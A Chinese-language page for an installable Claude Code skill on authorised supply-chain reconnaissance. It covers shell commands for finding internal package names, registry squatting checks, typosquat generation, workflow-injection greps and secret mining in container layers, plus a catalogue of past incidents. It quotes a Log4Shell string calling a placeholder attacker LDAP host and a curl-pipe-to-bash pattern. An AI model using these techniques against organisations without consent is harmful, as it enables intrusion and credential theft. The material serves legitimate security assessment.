关于 supply-chain-attack-recon
面向授权外部安全评估的技能,用于梳理 GitHub、依赖元数据、CI 工作流、容器镜像和公共注册表中的供应链暴露。它强调以证据确认可利用性,并明确禁止未经授权发布恶意包或测试内部基础设施。
主要功能
- 01公共 GitHub 制品发现
- 02内部包名检查
- 03CI 工作流注入审查
- 04容器与 SBOM 暴露检查
- 05严重性与证据指引
适用场景
- 01评估公共仓库中的依赖混淆风险
- 02审查 GitHub Actions 注入路径
- 03检查已发布镜像和 SBOM 是否泄露敏感数据
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill supply-chain-attack-recon安装后在 Claude Code 中输入/supply-chain-attack-recon确认已加载。
详细介绍
适用场景
在以下情况触发:
- 目标拥有公开的 GitHub 组织(通过 OSINT 查找)
- JS bundle 引用了看起来像内部包的名称(
@target-internal/...、target-utils、target-shared) - 构建日志、SBOM 或
package-lock.json文件可公开访问 - 目标使用部分公开的 CI/CD(GitHub Actions、GitLab CI、Bitrise)
- Docker Hub/GHCR/Quay 上的 Docker 镜像属于目标组织
- 发现项包含带有内部注册表 URL 的
npmrc/pip.conf/gradle.properties .github/workflows/*.yml文件引用了内部工具
请勿用于:
- 内部网络中的制品注册表(根据外部边界规定,不在范围内)
- 未经明确许可,实际发布拼写相似包或依赖混淆包
- 入侵上游开源项目(影响范围极大——在大多数司法管辖区,未经授权均属违法)
供应链攻击面图谱
Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.
步骤 1 — 发现 GitHub 组织
TARGET="<brand>" # set to target brand name
# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
curl --max-time 30 --connect-timeout 10 -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done
# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10
# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile
步骤 2 — 枚举公开仓库中的敏感制品
ORG="targetorg"
# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef
# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"
# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"
步骤 3 — 发现内部包名
从 JS bundle 中发现
# JS bundles are the easiest source of internal npm names
curl --max-time 30 --connect-timeout 10 -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl --max-time 30 --connect-timeout 10 -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u
# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
status=$(curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
echo " $pkg → $status"
# 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done
从 GitHub 仓库的 package.json 文件中发现
# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u
从 Python 项目中发现
# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'
步骤 4 — 检查依赖混淆漏洞
对发现的每个看起来像内部包的名称:
NAME="@target-internal/utils" # example
# npm check
curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE
# pypi check (no scopes, just name)
NAME="target_utils"
curl --max-time 30 --connect-timeout 10 -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable
# rubygems
curl --max-time 30 --connect-timeout 10 -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1
# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl --max-time 30 --connect-timeout 10 -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1
严重性评估: 名称无人认领并不意味着它可被利用。你还需要:
- 有证据表明目标的构建系统会从公共注册表解析名称(而不仅仅是从其内部注册表解析)
- 或有证据表明目标的包管理器配置不安全(例如,
.npmrc中没有@scope:registry=映射) - 或该包会由其构建流程安装(它确实在 package.json 中,而不只是被死代码引用)
如果注册表返回 404,但没有上下文佐证,则只能归为信息级。
步骤 5 — 拼写相似包候选项(针对外部依赖)
对目标使用的每个外部公共依赖:
# Common typosquat patterns:
# Original: "react-router-dom"
# Typos:
# "react-router-doms" (extra s)
# "react-routter-dom" (double t)
# "react-rotuer-dom" (transposed)
# "react--router-dom" (double dash)
# "react-router-dorn" (m→rn)
# "reactrouterdom" (no dashes)
# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
print(name[:i] + name[i+1:]) # delete
if i < len(name)-1:
print(name[:i] + name[i+1] + name[i] + name[i+2:]) # transpose
"
# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
status=$(curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
[ "$status" = "404" ] && echo " UNCLAIMED: $candidate"
done
⚠ 外部攻击注意事项: 将拼写相似包发布到公共注册表,会攻击更广泛的软件生态。未经明确的书面许可且范围清晰,绝对不要这样做。此举可能影响参与项目范围之外的用户,也可能违法。
步骤 6 — 扫描 GitHub Actions 工作流注入
对于每个包含 .github/workflows/ 的公开仓库:
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
for wf in $workflows; do
content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
echo "=== $repo/$wf ==="
# High-risk patterns:
# 1. pull_request_target (runs with secrets on PR from forks)
echo "$content" | grep -E 'pull_request_target'
# 2. Untrusted context interpolation
echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
# 3. ${{ github.event.* }} into shell run blocks
echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
# 4. checkout of PR head with elevated perms
echo "$content" | grep -E 'ref:.*pull_request|head_ref'
# 5. Self-hosted runner without isolation
echo "$content" | grep -E 'runs-on:.*self-hosted'
# 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
# Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
done
done
需标记的注入模式(严重性指南)
| 模式 | 严重性 |
|---|---|
pull_request_target + actions/checkout,并使用 ref: pull_request.head.sha + 使用仓库密钥 | 严重 — 可在运行器上利用远程代码执行,获取组织密钥 |
${{ github.event.pull_request.title }} 插入 shell 命令 | 严重 — 可通过 PR 标题注入脚本 |
第三方 Action 固定到可变标签(uses: org/repo@v1 / @main),而非提交 SHA | 高 — 可被重新指向的供应链攻击向量(见案例 #9) |
| 可从公开仓库工作流访问的自托管运行器 | 高 — 可作为攻击者的持久跳板 |
由 Issue 评论触发、并使用令牌运行 gh 的工作流 | 高 |
| 工作流从目标控制的 URL 下载内容 | 中 |
步骤 7 — 挖掘 Docker / 容器镜像注册表
# Docker Hub
curl --max-time 30 --connect-timeout 10 -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'
# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null
# For each image, list tags
for img in image1 image2; do
curl --max-time 30 --connect-timeout 10 -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done
# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"
# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update
步骤 8 — SBOM / 制品元数据泄露
# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'
# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'
# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl --max-time 30 --connect-timeout 10 -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'
步骤 9 — 内部注册表 URL 泄露
# .npmrc patterns
grep -r "registry=" . # in cloned repos
grep -r "_authToken=" . # leaked npm token!
grep -r "@.*registry=" . # scoped registry
# pip config
grep -r "extra-index-url" .
grep -r "index-url" .
# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .
# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable
步骤 10 — npm/PyPI 组织信息
# Some orgs maintain a public npm scope mirroring their brand
curl --max-time 30 --connect-timeout 10 -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'
# Public PyPI presence
curl --max-time 30 --connect-timeout 10 -s "https://pypi.org/simple/" | grep "$ORG" | head -20
# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/-/org/$ORG"
工具
| 工具 | 用途 |
|---|---|
trufflehog | 扫描文件系统/git/docker 中的密钥 |
gitleaks | 扫描 Git 历史记录中的密钥 |
dependency-confusion (Confused) | 检查 npm scope/PyPI |
packj | 包风险评分(PyPI/npm/RubyGems) |
Lift / Snyk vuln-db | 根据包版本查询已知 CVE |
actionlint | GitHub Actions 静态分析器 |
OSSGadget | Microsoft 的包元数据工具包 |
semgrep + 供应链规则 | 检测工作流注入 |
osv-scanner | 将版本与已知漏洞匹配 |
严重性评级指南
| 发现 | 严重性 |
|---|---|
| 内部包名 + 未设置作用域映射 + 在公共 npm 上无人认领 + 正在构建中使用 | 严重 — 依赖混淆导致 RCE |
内部包名 + 在 .npmrc 中设置了作用域映射,但 _authToken 已泄露 | 严重 — 可直接推送到注册表 |
| Pull_request_target 工作流 + 暴露机密 + 由 PR 控制的代码执行 | 严重 — 组织范围的令牌窃取 |
| Docker 镜像的某一层中包含泄露的机密 | 高(视机密而定) |
| 泄露内部注册表 URL(但没有凭据) | 低 — 仅信息泄露 |
| 发现疑似抢注候选项(尚未发布) | 信息级 — 提醒事项 |
| 公共组织下有 1000+ 个未使用且可能被认领的名称 | 信息级 — 卫生问题 |
反模式
- 未经明确、签署且界定清楚的授权,切勿发布抢注包或依赖混淆包 — 这会影响参与测试范围之外的用户
- 未经明确许可,切勿在测试期间向客户端代码库提交 PR — 可能需要工作流注入 PoC,但这会影响 CI/CD 和其他开发者
- 切勿抓取整个 npm/PyPI 来寻找疑似抢注候选项 — 这不负责任且会产生大量噪声
- 切勿把“名称无人认领”误认为“存在可利用的依赖混淆” — 关键在于构建系统;许多组织使用恰当的作用域映射来阻止此类攻击
- 切勿接触 GitHub Actions 自托管运行器 — 它们可能位于客户端网络内,超出外部测试范围
- 切勿盲目拉取大型 Docker 镜像 — 镜像可能有 5-50GB;应先检查标签
可作为交付成果的发现应包含什么
供应链问题的发现必须包含以下全部内容:
- 具体名称/路径 — 确切的内部包名、工作流文件路径、镜像标签
- 漏洞机制 — 依赖混淆 / 抢注 / 注入等
- 可利用性证据 — 证明构建/安装过程确实会使用攻击者的载荷(而不只是“名称无人认领”)
- 严重性 — 根据影响范围评定(影响一名开发者?所有开发者?该包的所有用户?)
- 建议 — 具体明确(例如:“即使未使用,也应在 npm 上将未使用的名称 @target-internal/utils 注册为自己的包;配置
.npmrc作用域到注册表的映射”)
与相邻技能的衔接
apk-redteam-pipeline— APK 也会暴露内部包名(在反编译后的build.gradle中查找)cloud-iam-deep— CI/CD 机密通常就是云凭据;本技能负责发现它们,该技能负责验证它们hunt-cloud-misconfig— CI/CD 流水线配置错误(Jenkins / GitLab Runner)有交集m365-entra-attack— Azure DevOps 流水线属于 Entra 攻击面的一部分redteam-report-template— 供应链问题的发现需要更清晰地说明影响范围(一个代码库还是整个生态系统)mid-engagement-ir-detection— 在公共 npm 上注册名称不会触发客户端内部的任何操作,但任何发布操作都会引人注意并留下审计记录
仅限外部的范围检查
本技能完全面向外部——所有目标都是公共注册表 / 公共 GitHub。如果测试涉及客户端的内部制品注册表(内部 Nexus、JFrog、Sonatype),那属于内部基础设施,根据 feedback_skill_boundaries 不在范围内。将内部注册表 URL 暴露报告为一项发现;不要尝试枚举该注册表。
真实案例参考
- Alex Birsan 2021 — 最初的依赖混淆研究,从 Apple/Microsoft/PayPal/Yelp 等公司获得了超过 $130K 的漏洞赏金
- ua-parser-js 2021 — npm 包因维护者凭据被盗而遭到入侵
- node-ipc 2022 — 维护者引入了带有恶意内容的供应链更新
- 3CX 2023 — 通过 X_TRADER → 3CX → 客户传播的级联供应链攻击
- XZ Utils 2024 — 针对上游 OSS 的多年社交工程供应链攻击
值得逐一阅读这些案例,了解攻击为何奏效,以及此前有哪些危险信号。
已披露案例目录(引用)
以下十二个文档完善的公开案例,对应上述侦察面。每个条目包括:攻击名称、年份、攻击流程、根本原因、影响、参考资料,以及侦察技能要点。
1. SolarWinds Orion / SUNBURST(CISA AA20-352A,2020 年 12 月)
- **攻击流程:**APT29(UNC2452 / Cozy Bear)入侵 SolarWinds 的构建流水线,并将 SUNBURST 后门植入
SolarWinds.Orion.Core.BusinessLayer.dll。这个植入木马的 DLL 使用 SolarWinds 的合法证书进行了代码签名,并在 2020 年 3 月至 6 月期间通过正常的自动更新渠道分发给约 18,000 家客户。 - **根本原因:**构建环境遭到入侵——攻击者在编译过程中修改了源代码;签名基础设施信任构建产物,却没有验证源代码的完整性。
- **影响:**约 18,000 家组织收到后门;约 100 家(包括美国财政部、商务部、国土安全部、司法部、Microsoft、FireEye/Mandiant)收到第二阶段 TEARDROP/BEACON 载荷。SolarWinds 报告称直接响应成本超过 4,000 万美元;集体诉讼和解金额为 2,600 万美元。
- 参考资料:
- CISA AA20-352A:https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a
- Mandiant 分析(SUNBURST):https://cloud.google.com/blog/topics/threat-intelligence/sunburst-additional-technical-details
- Microsoft 分析:https://www.microsoft.com/en-us/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack/
- SolarWinds 事后报告:https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
- **侦察要点:**只要目标通过自有 CI 分发经过签名的二进制文件,侦察时就要检查:构建环境本身是否可被访问?查找暴露在外的 Jenkins/GitLab CI 控制台、公开的 TeamCity 代理,或泄露源代码路径的构建产物。代码签名证书加上遭入侵的构建环境,会形成牢不可破的信任链。
2. 3CX VoIP 软电话供应链事件(CVE-2023-29059,2023 年 3 月)
- **攻击流程:**被归因于朝鲜的 Lazarus 子组织(UNC4736 / Labyrinth Chollima)在 Windows 和 macOS 上植入了 3CX DesktopApp(基于 Electron 的软电话)。攻击者最初通过此前的一次供应链攻击入侵——一名员工安装了遭植入后门的 Trading Technologies X_TRADER。这是首起公开披露的连环供应链入侵事件(一个供应链受害者成为另一个受害者的攻击途径)。
- **根本原因:**开发人员工作站遭入侵 → 获得 3CX 源代码/构建流水线的访问权限 → 在签名后的安装程序中分发恶意
ffmpeg.dll和d3dcompiler_47.dll。 - **影响:**约 600,000 家组织使用 3CX;数以万计的用户下载了植入木马的客户端。Lazarus 有选择地针对加密货币和交易公司激活第二阶段载荷。
- 参考资料:
- CrowdStrike:https://www.crowdstrike.com/en-us/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
- SentinelOne:https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/
- Mandiant 连环攻击分析:https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise
- 3CX 事后报告:https://www.3cx.com/blog/news/desktopapp-security-alert-update/
- **侦察要点:**连环供应链攻击确实存在——目标的供应商的供应商也很重要。在侦察过程中梳理“该组织会在工程师的笔记本电脑上安装哪些软件”时,其中每一款软件本身都可能成为供应链攻击目标。Electron 应用(经过签名的 JS 软件包)尤其常见于此类攻击途径。
3. MOVEit Transfer 大规模攻击(CVE-2023-34362,2023 年 5 月至 7 月)
- 攻击流程: Cl0p 勒索软件团伙成员(FIN11 / Lace Tempest)发现 Progress MOVEit Transfer 中存在无需身份验证的 SQLi,部署 LEMURLOOT Webshell,并在 2023 年 5 月 31 日发布补丁前的约 2 周内,从所有可通过互联网访问的实例中窃取文件。
- 根本原因:
moveitisapi/moveitisapi.dll中存在预认证 SQLi → 执行任意 SQL → 通过等效于xp_cmdshell的路径写入 Webshell。这是典型的单个 CVE 大规模攻击;并非构建流水线攻击,而是已发布代码的供应链故障。 - 影响: 已确认约 2,700 个组织遭到入侵,约 9,500 万人的个人身份信息遭泄露(BBC、Shell、BA、美国能源部、路易斯安那州机动车管理局、俄勒冈州机动车管理局等)。估计总损失超过 150 亿美元。
- 参考资料:
- CISA AA23-158A:https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
- Progress 公告:https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
- Mandiant:https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
- Huntress 技术分析:https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
- 侦察要点: 文件传输厂商产品(MOVEit、Accellion FTA、GoAnywhere MFT、Cleo Harmony)反复呈现同一种模式:“位于互联网边缘、存有所有人的数据、运行于 Windows”。侦察初期应始终通过 HTML 标题 / favicon 哈希识别产品;单个边缘产品 CVE 就可能波及其全部客户。
4. Codecov bash 上传器遭入侵(2021 年 4 月)
- 攻击流程: 攻击者利用镜像创建流程中的凭证错误,获取了 Codecov Docker 镜像构建流程的访问权限,随后修改
Bash Uploader脚本(https://codecov.io/bash),将环境变量外传至第三方 IP。该修改从 2021 年 1 月 31 日持续到 2021 年 4 月 1 日,直到一位客户发现 SHA-256 不匹配才被检测到,历时两个月。 - 根本原因: Docker 镜像构建过程泄露了可用于修改所提供 bash 脚本的凭证;客户侧未验证完整性(没有固定并签名的哈希值)。
- 影响: 全球所有 CI 流程中,在两个月内执行
curl --max-time 30 --connect-timeout 10 -s https://codecov.io/bash | bash的任务都外传了环境变量。已确认的下游受害者包括:HashiCorp(轮换了 GPG 密钥)、Twilio、Rapid7(部分源代码暴露)、Mercari、Confluent、Atlassian。 - 参考资料:
- Codecov 事后报告:https://about.codecov.io/security-update/
- HashiCorp 公告:https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512
- Mercari 披露:https://about.mercari.com/en/press/news/articles/20210521_incidentreport/
- Rapid7:https://www.rapid7.com/blog/post/2021/05/13/rapid7-discloses-its-response-to-codecov-incident/
- 侦察要点: 公开 CI 工作流中的“curl-bash 安装”模式对这项侦察技能极具价值——在
.github/workflows/中搜索curl ... | bash、wget ... | sh、iwr ... | iex。任何被传入 shell 的第三方 URL 都可能造成供应链级别的影响。工作流中固定 SHA 可降低风险;未固定则属于发现项。
5. ua-parser-js npm 劫持(2021 年 10 月)
- **攻击流程:**攻击者通过网络钓鱼/凭据填充攻破维护者的 npm 账户,并发布了
ua-parser-js的0.7.29、0.8.0和1.0.0版本(每周下载量约 700 万次,间接影响 Facebook、Microsoft、Amazon 和 IBM)。恶意版本运行了一个preinstall钩子,用于下载加密货币挖矿程序和 Windows 密码窃取程序(Jason 凭据窃取程序)。 - **根本原因:**维护者的 npm 账户未启用双重身份验证(2FA),凭据也较弱;当时 npm 未强制高价值发布者启用 2FA。
- **影响:**这些软件包在下架前存活了约 4 小时,但在此期间有数万次安装。CISA 发布了紧急警报——这是 CISA 首次针对 npm 软件包遭入侵发出警告。
- 参考资料:
- GitHub 安全公告:https://github.com/advisories/GHSA-pjwm-rvh2-c87w
- CISA 警报:https://www.cisa.gov/news-events/alerts/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js
- 维护者的事件说明:https://github.com/faisalman/ua-parser-js/issues/536
- Snyk 分析:https://snyk.io/blog/npm-security-malicious-code-found-in-npm-package-ua-parser-js/
- **侦察启示:**按软件包下载量找出目标的 npm/PyPI 前 30 名维护者,然后检查他们的账户是否启用了 2FA(npm 可通过
npm profile get查看组织成员的相关信息,注册表 API 也会部分公开这些信息)。侦察结果示例:“根据公开的注册表数据,这 4 位维护者掌管着安装量达 X 的软件包,且未启用 2FA。”
6. event-stream npm 软件包(2018 年 11 月)
- **攻击流程:**原维护者 Dominic Tarr(已不再使用该模块)将
event-stream(每周下载量约 200 万次)交给一位名为 “right9ctrl” 的新贡献者维护,对方主动提出接手维护。新维护者将flatmap-stream加为依赖项,随后推送了一个含有攻击载荷的flatmap-stream更新,目标是 Copay 比特币钱包的构建过程——从任何 Copay 用户那里窃取 BTC/BCH 钱包助记词。 - **根本原因:**攻击者通过社交工程促成维护权移交;无人审核接手关键软件包的新贡献者。只有当
event-stream被打包进 Copay 钱包时,恶意依赖项才会触发(针对特定构建环境)。 - **影响:**Copay 钱包用户的密钥遭窃;具体经济损失从未公开披露。此事件促使 npm 全面推动启用 2FA,并出台“热门软件包需要额外审核”的政策。
- 参考资料:
- **侦察启示:**检查目标所依赖软件包的
npm view <pkg> maintainers输出和近期维护者变更。下载量超过 10 万的软件包若在过去 90 天内更换过维护者,就是一个黄色警示。此外,按构建环境定向投放攻击载荷(仅在打包进特定应用时触发)很难检测——静态扫描器会漏掉它。
7. PHP Git 服务遭入侵(2021 年 3 月)
- **攻击流程:**攻击者向
git.php.net上的官方php-srcGit 仓库推送了两次恶意提交,提交签名显示为 Rasmus Lerdorf 和 Nikita Popov。这些提交加入了一个 Zend 后门,可执行来自User-AgenttHTTP 标头的代码(注意末尾有两个 t)。 - **根本原因:**可自托管的 Git 服务(基于 Gitolite 的
git.php.net)存在凭据/身份验证漏洞——可能与用户数据库泄露后密码以明文存储有关。此事件后,PHP 团队将 GitHub 迁移为权威源码库。 - **影响:**后门提交在数小时内被发现,从未随正式版本发布。但这是“可自托管的事实来源=单点故障”的典型案例。
- 参考资料:
- **侦察要点:**使用可自托管 Git 的目标(Gitea、Gitolite、Phabricator、Bitbucket Server)比使用 GitHub 托管的目标风险更高。侦察时应识别 Git 服务软件、检查默认凭据,并留意来自异常 IP 的 SSH 密钥推送(可从提交元数据中查看)。
8. Log4Shell(CVE-2021-44228,2021 年 12 月)
- **攻击流程:**这本身并非供应链攻击,但它是“你不知道依赖树中包含什么”的典型事件。Apache Log4j 2.x 中的 JNDI 查找功能允许攻击者通过任何被记录的字符串(例如
${jndi:ldap://attacker/...})远程执行代码。由于数千款 Java 应用会间接引入 Log4j,数亿个系统因此易受攻击。 - **根本原因:**2013 年发布的默认不安全功能(
MessageLookup替换);层层嵌套的传递依赖使清点和修补几乎不可能。 - **影响:**CISA 局长 Jen Easterly 称之为“十年来最严重的漏洞”。所有主流云平台、所有 Apache 产品、所有 Java 企业级技术栈均受影响。Conti、Khonsari 勒索软件和国家级攻击者仍在持续大规模利用该漏洞。
- 参考资料:
- CISA Log4j 页面:https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
- Apache 公告:https://logging.apache.org/log4j/2.x/security.html
- LunaSec 分析:https://www.lunasec.io/docs/blog/log4j-zero-day/
- GovCERT.ch 受影响产品清单:https://www.cisa.gov/known-exploited-vulnerabilities-catalog(KEV 条目)
- **侦察要点:**软件物料清单(SBOM)是解决之道。侦察技能的第 8 步(SBOM 挖掘)在此大有用处——从公开发布制品中提取 SPDX/CycloneDX,可获得精确的传递依赖版本,再将其映射到 OSV/NVD,以查找已知 CVE。大多数组织都低估了依赖树的深度。
9. tj-actions/changed-files GitHub Action 遭入侵(CVE-2025-30066,2025 年 3 月)
- **攻击流程:**攻击者入侵了 tj-actions/changed-files GitHub Action(约 23,000 个仓库使用),并修改了所有 v1–v45 版本标签,使其指向恶意提交。注入的代码运行
printenv,并将 CI 密钥转储到 GitHub Actions 日志中——任何有权读取公开仓库的人都能看到。 - **根本原因:**GitHub Actions 中的标签引用可变——
uses: tj-actions/changed-files@v35会在运行时解析,因此控制该仓库的攻击者可以重新指向旧标签。大多数使用者没有固定到提交 SHA(@<sha>)。 - **影响:**约 23,000 个仓库受到影响;CISA 将其列入 KEV;数千个密钥(AWS 密钥、npm 令牌、Docker Hub 凭据)泄露到公开的 Action 日志中。多个下游事件(Coinbase、Cloudflare 等)都追溯到了此次事件。
- 参考资料:
- CISA KEV 条目:https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
- StepSecurity 披露:https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
- Wiz 分析:https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
- Semgrep:https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/
- **侦察要点:**这是当前收益最高的侦察路径。在公开仓库中搜索
uses: <org>/<repo>@v\d+(可变标签)与uses: <org>/<repo>@<sha>(固定版本)。任何未固定版本的第三方 Action 都存在供应链风险。该技能的 Step 6 应明确标记使用可变标签的情况。
10. PyPI 拼写抢注(colourama、python3-dateutil、jeIlyfish 等)
- **攻击流程:**攻击者在 PyPI 上注册名称与热门软件包视觉上或拼写上相似的软件包——用
colourama仿冒colorama,用python3-dateutil仿冒python-dateutil,用jeIlyfish(用大写 I 替代 L)仿冒jellyfish。这些软件包都包含setup.py安装后钩子,用于窃取 SSH 密钥、GPG 密钥、GitHub 令牌,或安装针对~/.bitcoin/wallet.dat的加密货币窃取程序。 - **根本原因:**PyPI 允许使用视觉上易混淆的名称;pip 按完全匹配的字符串解析名称。发布新软件包时没有人工审核环节。
- **影响:**每次活动在被下架前的安装量通常不到 10K,但
jeIlyfish存活了 1 年(2018 年 12 月至 2019 年 12 月)。累计来看,Snyk/Phylum/Sonatype/ReversingLabs 每年都会记录数十起此类活动。 - 参考资料:
- ReversingLabs 关于 jeIlyfish/python3-dateutil 的报告:https://www.reversinglabs.com/blog/mining-for-malicious-ruby-gems
- Snyk 关于 colourama / pytagora 的分析:https://snyk.io/blog/malicious-packages-found-to-be-typo-squatting-in-pypi/
- Phylum 2024 年拼写抢注报告:https://blog.phylum.io/the-state-of-the-software-supply-chain/
- Sonatype《2024 年软件供应链状况》(发现超过 700K 个恶意软件包):https://www.sonatype.com/state-of-the-software-supply-chain/
- **侦察要点:**该技能的 Step 5(生成拼写抢注候选项)与此直接相关。在外部侦察中,你只需列出拼写抢注候选名称——未经明确授权,绝不发布。交付内容应为:“你的主要依赖项中有 17 个拼写抢注变体目前尚未被注册;建议进行防御性注册。”
11. Alex Birsan 依赖混淆披露(2021 年 2 月)
- **攻击流程:**Birsan 从泄露的
package.json文件(这些文件公开缓存于 archive.org、意外公开的 GitHub 仓库和 JS bundle 中)提取了 Apple、Microsoft、PayPal、Shopify、Uber、Tesla、Yelp 等约 35 家公司的内部 npm scope 名称。他在公共 npm/PyPI/RubyGems 上发布了使用这些内部名称且 semver 更高的包。随后,大多数公司的构建系统优先解析了公共包而非内部包,并执行了他仅用于遥测的载荷。 - **根本原因:**包管理器(npm、pip、gem)默认采用“无论注册表为何,版本最高者胜出”的规则。内部包名称泄露到了外部来源。没有强制执行 scope 与注册表的绑定。
- **影响:**漏洞赏金超过 13 万美元(2021 年跨多个项目中已知最高的单个研究员奖金);催生了整个“依赖混淆”攻击类别;npm/PyPI/Microsoft Azure Artifacts 均发布了缓解措施。
- 参考资料:
- Birsan 的原始文章:https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- Microsoft 白皮书:https://azure.microsoft.com/en-us/resources/3-ways-to-mitigate-risk-using-private-package-feeds/
- GitHub 事后分析(npm 方面):https://github.blog/2021-02-12-how-to-prevent-dependency-confusion-on-public-package-registries/
- Snyk 研究:https://snyk.io/blog/dependency-confusion-vulnerability-novel-supply-chain-attack/
- **侦察启示:**这是本技能第 3 步和第 4 步的奠基性参考。通过 JS bundle 发现内部 scope 是典型的侦察路径。注意 Birsan 对严重性的判断:“名称尚未被占用”这一点本身,在大多数目标中就足够了,因为它们的构建会使用
npm install,并通过配置回退到公共 npm——但本技能的严重性表也正确指出,这并非普遍情况。
12. XZ Utils(CVE-2024-3094,2024 年 3 月)
